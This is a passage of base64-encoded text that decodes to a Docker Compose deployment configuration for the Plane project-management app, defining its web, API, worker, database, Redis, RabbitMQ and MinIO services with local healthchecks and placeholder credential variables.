tSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICBBUElfS0VZX1JBVEVfTElNSVQ6ICcke0FQSV9LRVlfUkFURV9MSU1JVDotNjAvbWludXRlfScKICBNSU5JT19FTkRQT0lOVF9TU0w6ICcke01JTklPX0VORFBPSU5UX1NTTDotMH0nCnNlcnZpY2VzOgogIHByb3h5OgogICAgaW1hZ2U6ICdhcnRpZmFjdHMucGxhbmUuc28vbWFrZXBsYW5lL3BsYW5lLXByb3h5OiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fUExBTkUKICAgICAgLSAnQVBQX0RPTUFJTj0ke1NFUlZJQ0VfRlFETl9QTEFORX0nCiAgICAgIC0gJ1NJVEVfQUREUkVTUz06ODAnCiAgICAgIC0gJ0ZJTEVfU0laRV9MSU1JVD0ke0ZJTEVfU0laRV9MSU1JVDotNTI0Mjg4MH0nCiAgICAgIC0gJ0JVQ0tFVF9OQU1FPSR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gd2ViCiAgICAgIC0gYXBpCiAgICAgIC0gc3BhY2UKICAgICAgLSBhZG1pbgogICAgICAtIGxpdmUKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIHdlYjoKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1mcm9udGVuZDoke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSB3b3JrZXIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnd2dldCAtcU8tIGh0dHA6Ly9gaG9zdG5hbWVgOjMwMDAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBzcGFjZToKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1zcGFjZToke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSB3b3JrZXIKICAgICAgLSB3ZWIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgYWRtaW46CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtYWRtaW46JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gYXBpCiAgICAgIC0gd2ViCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGxpdmU6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtbGl2ZToke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIEFQSV9CQVNFX1VSTDogJyR7QVBJX0JBU0VfVVJMOi1odHRwOi8vYXBpOjgwMDB9JwogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICBkZXBlbmRzX29uOgogICAgICAtIGFwaQogICAgICAtIHdlYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGFwaToKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1iYWNrZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBjb21tYW5kOiAuL2Jpbi9kb2NrZXItZW50cnlwb2ludC1hcGkuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfYXBpOi9jb2RlL3BsYW5lL2xvZ3MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgICBXRUJfVVJMOiAnJHtTRVJWSUNFX0ZRRE5fUExBTkV9JwogICAgICBERUJVRzogJyR7REVCVUc6LTB9JwogICAgICBDT1JTX0FMTE9XRURfT1JJR0lOUzogJyR7Q09SU19BTExPV0VEX09SSUdJTlM6LWh0dHA6Ly9sb2NhbGhvc3R9JwogICAgICBHVU5JQ09STl9XT1JLRVJTOiAnJHtHVU5JQ09STl9XT1JLRVJTOi0xfScKICAgICAgVVNFX01JTklPOiAnJHtVU0VfTUlOSU86LTF9JwogICAgICBEQVRBQkFTRV9VUkw6ICdwb3N0Z3Jlc3FsOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUzokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU0BwbGFuZS1kYi9wbGFuZScKICAgICAgU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfU0VDUkVUS0VZCiAgICAgIEFNUVBfVVJMOiAnYW1xcDovLyR7U0VSVklDRV9VU0VSX1JBQkJJVE1RfToke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVF9QHBsYW5lLW1xOiR7UkFCQklUTVFfUE9SVDotNTY3Mn0vcGxhbmUnCiAgICAgIEFQSV9LRVlfUkFURV9MSU1JVDogJyR7QVBJX0tFWV9SQVRFX0xJTUlUOi02MC9taW51dGV9JwogICAgICBNSU5JT19FTkRQT0lOVF9TU0w6ICcke01JTklPX0VORFBPSU5UX1NTTDotMH0nCiAgICAgIFBHSE9TVDogcGxhbmUtZGIKICAgICAgUEdEQVRBQkFTRTogcGxhbmUKICAgICAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICBQT1NUR1JFU19QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfREI6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICAgICAgUEdEQVRBOiAvdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEKICAgICAgUkVESVNfSE9TVDogJyR7UkVESVNfSE9TVDotcGxhbmUtcmVkaXN9JwogICAgICBSRURJU19QT1JUOiAnJHtSRURJU19QT1JUOi02Mzc5fScKICAgICAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99JwogICAgICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgTUlOSU9fUk9PVF9QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICAgICAgQVdTX0FDQ0VTU19LRVlfSUQ6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgICAgIEFXU19TM19CVUNLRVRfTkFNRTogJyR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgICAgUkFCQklUTVFfSE9TVDogcGxhbmUtbXEKICAgICAgUkFCQklUTVFfUE9SVDogJyR7UkFCQklUTVFfUE9SVDotNTY3Mn0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfUEFTUzogJyR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gcGxhbmUtZGIKICAgICAgLSBwbGFuZS1yZWRpcwogICAgICAtIHBsYW5lLW1xCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIHdvcmtlcjoKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1iYWNrZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBjb21tYW5kOiAuL2Jpbi9kb2NrZXItZW50cnlwb2ludC13b3JrZXIuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3Nfd29ya2VyOi9jb2RlL3BsYW5lL2xvZ3MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgICBXRUJfVVJMOiAnJHtTRVJWSUNFX0ZRRE5fUExBTkV9JwogICAgICBERUJVRzogJyR7REVCVUc6LTB9JwogICAgICBDT1JTX0FMTE9XRURfT1JJR0lOUzogJyR7Q09SU19BTExPV0VEX09SSUdJTlM6LWh0dHA6Ly9sb2NhbGhvc3R9JwogICAgICBHVU5JQ09STl9XT1JLRVJTOiAnJHtHVU5JQ09STl9XT1JLRVJTOi0xfScKICAgICAgVVNFX01JTklPOiAnJHtVU0VfTUlOSU86LTF9JwogICAgICBEQVRBQkFTRV9VUkw6ICdwb3N0Z3Jlc3FsOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUzokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU0BwbGFuZS1kYi9wbGFuZScKICAgICAgU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfU0VDUkVUS0VZCiAgICAgIEFNUVBfVVJMOiAnYW1xcDovLyR7U0VSVklDRV9VU0VSX1JBQkJJVE1RfToke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVF9QHBsYW5lLW1xOiR7UkFCQklUTVFfUE9SVDotNTY3Mn0vcGxhbmUnCiAgICAgIEFQSV9LRVlfUkFURV9MSU1JVDogJyR7QVBJX0tFWV9SQVRFX0xJTUlUOi02MC9taW51dGV9JwogICAgICBNSU5JT19FTkRQT0lOVF9TU0w6ICcke01JTklPX0VORFBPSU5UX1NTTDotMH0nCiAgICAgIFBHSE9TVDogcGxhbmUtZGIKICAgICAgUEdEQVRBQkFTRTogcGxhbmUKICAgICAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICBQT1NUR1JFU19QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfREI6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICAgICAgUEdEQVRBOiAvdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEKICAgICAgUkVESVNfSE9TVDogJyR7UkVESVNfSE9TVDotcGxhbmUtcmVkaXN9JwogICAgICBSRURJU19QT1JUOiAnJHtSRURJU19QT1JUOi02Mzc5fScKICAgICAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99JwogICAgICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgTUlOSU9fUk9PVF9QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICAgICAgQVdTX0FDQ0VTU19LRVlfSUQ6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgICAgIEFXU19TM19CVUNLRVRfTkFNRTogJyR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgICAgUkFCQklUTVFfSE9TVDogcGxhbmUtbXEKICAgICAgUkFCQklUTVFfUE9SVDogJyR7UkFCQklUTVFfUE9SVDotNTY3Mn0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfUEFTUzogJyR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gYXBpCiAgICAgIC0gcGxhbmUtZGIKICAgICAgLSBwbGFuZS1yZWRpcwogICAgICAtIHBsYW5lLW1xCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGJlYXQtd29ya2VyOgogICAgaW1hZ2U6ICdhcnRpZmFjdHMucGxhbmUuc28vbWFrZXBsYW5lL3BsYW5lLWJhY2tlbmQ6JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGNvbW1hbmQ6IC4vYmluL2RvY2tlci1lbnRyeXBvaW50LWJlYXQuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfYmVhdC13b3JrZXI6L2NvZGUvcGxhbmUvbG9ncycKICAgIGVudmlyb25tZW50OgogICAgICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICAgIFdFQl9VUkw6ICcke1NFUlZJQ0VfRlFETl9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUkVHSU9OOiAnJHtBV1NfUkVHSU9OOi19JwogICAgICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBBV1NfU0VDUkVUX0FDQ0VTU19LRVk6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19TM19FTkRQT0lOVF9VUkw6ICcke0FXU19TM19FTkRQT0lOVF9VUkw6LWh0dHA6Ly9wbGFuZS1taW5pbzo5MDAwfScKICAgICAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICAgIC0gcGxhbmUtbXEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgbWlncmF0b3I6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtYmFja2VuZDoke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgcmVzdGFydDogJ25vJwogICAgY29tbWFuZDogLi9iaW4vZG9ja2VyLWVudHJ5cG9pbnQtbWlncmF0b3Iuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfbWlncmF0b3I6L2NvZGUvcGxhbmUvbG9ncycKICAgIGVudmlyb25tZW50OgogICAgICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICAgIFdFQl9VUkw6ICcke1NFUlZJQ0VfRlFETl9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUkVHSU9OOiAnJHtBV1NfUkVHSU9OOi19JwogICAgICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBBV1NfU0VDUkVUX0FDQ0VTU19LRVk6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19TM19FTkRQT0lOVF9VUkw6ICcke0FXU19TM19FTkRQT0lOVF9VUkw6LWh0dHA6Ly9wbGFuZS1taW5pbzo5MDAwfScKICAgICAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgcGxhbmUtZGI6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE1LjctYWxwaW5lJwogICAgY29tbWFuZDogInBvc3RncmVzIC1jICdtYXhfY29ubmVjdGlvbnM9MTAwMCciCiAgICBlbnZpcm9ubWVudDoKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgdm9sdW1lczoKICAgICAgLSAncGdkYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwbGFuZS1yZWRpczoKICAgIGltYWdlOiAndmFsa2V5L3ZhbGtleTo3LjIuNS1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdyZWRpc2RhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwbGFuZS1tcToKICAgIGltYWdlOiAncmFiYml0bXE6My4xMy42LW1hbmFnZW1lbnQtYWxwaW5lJwogICAgcmVzdGFydDogYWx3YXlzCiAgICBlbnZpcm9ubWVudDoKICAgICAgUkFCQklUTVFfSE9TVDogcGxhbmUtbXEKICAgICAgUkFCQklUTVFfUE9SVDogJyR7UkFCQklUTVFfUE9SVDotNTY3Mn0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfUEFTUzogJyR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JhYmJpdG1xX2RhdGE6L3Zhci9saWIvcmFiYml0bXEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDogJ3JhYmJpdG1xLWRpYWdub3N0aWNzIC1xIHBpbmcnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMzBzCiAgICAgIHJldHJpZXM6IDMKICBwbGFuZS1taW5pbzoKICAgIGltYWdlOiAnZ2hjci5pby9jb29sbGFic2lvL21pbmlvOlJFTEVBU0UuMjAyNS0xMC0xNVQxNy0yOS01NVonCiAgICBjb21tYW5kOiAnc2VydmVyIC9leHBvcnQgLS1jb25zb2xlLWFkZHJlc3MgIjo5MDkwIicKICAgIGVudmlyb25tZW50OgogICAgICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgTUlOSU9fUk9PVF9QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgIHZvbHVtZXM6CiAgICAgIC0gJ3VwbG9hZHM6L2V4cG9ydCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBtYwogICAgICAgIC0gcmVhZHkKICAgICAgICAtIGxvY2FsCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V